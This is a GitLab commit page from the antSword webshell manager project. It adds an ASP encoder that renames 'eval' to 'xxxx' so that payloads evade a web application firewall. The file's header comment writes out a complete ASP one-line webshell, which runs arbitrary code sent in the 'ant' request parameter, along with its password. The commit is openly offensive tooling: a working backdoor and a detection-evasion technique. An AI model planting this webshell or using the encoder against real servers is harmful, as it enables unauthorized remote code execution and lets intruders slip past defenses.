Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
ef24b43f
Commit
ef24b43f
authored
Sep 19, 2016
by
Medicean
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
新增 asp xxxxdog 编码器,用于替换 eval 关键字
parent
71569db5
Changes
2
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
15 additions
and
1 deletion
+15
-1
xxxxdog.js
source/core/asp/encoder/xxxxdog.js
+14
-0
index.js
source/core/asp/index.js
+1
-1
No files found.
source/core/asp/encoder/xxxxdog.js
0 → 100644
View file @
ef24b43f
//
// asp::xxxx 编码模块
//
// :把eval替换成 xxxx 用于过狗
//
// 服务端:<%Function xxxx(str) eval str End Function%><%D = request("ant")%><%xxxx D%>
// 密码:ant
'use strict'
;
module
.
exports
=
(
pwd
,
data
)
=>
{
data
[
pwd
]
=
data
[
'_'
].
replace
(
/eval/ig
,
'xxxx'
);
delete
data
[
'_'
];
return
data
;
}
\ No newline at end of file
source/core/asp/index.js
View file @
ef24b43f
...
@@ -33,7 +33,7 @@ class ASP extends Base {
...
@@ -33,7 +33,7 @@ class ASP extends Base {
* @return {array} 编码器列表
* @return {array} 编码器列表
*/
*/
get
encoders
()
{
get
encoders
()
{
return
[];
return
[
'xxxxdog'
];
}
}
/**
/**
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment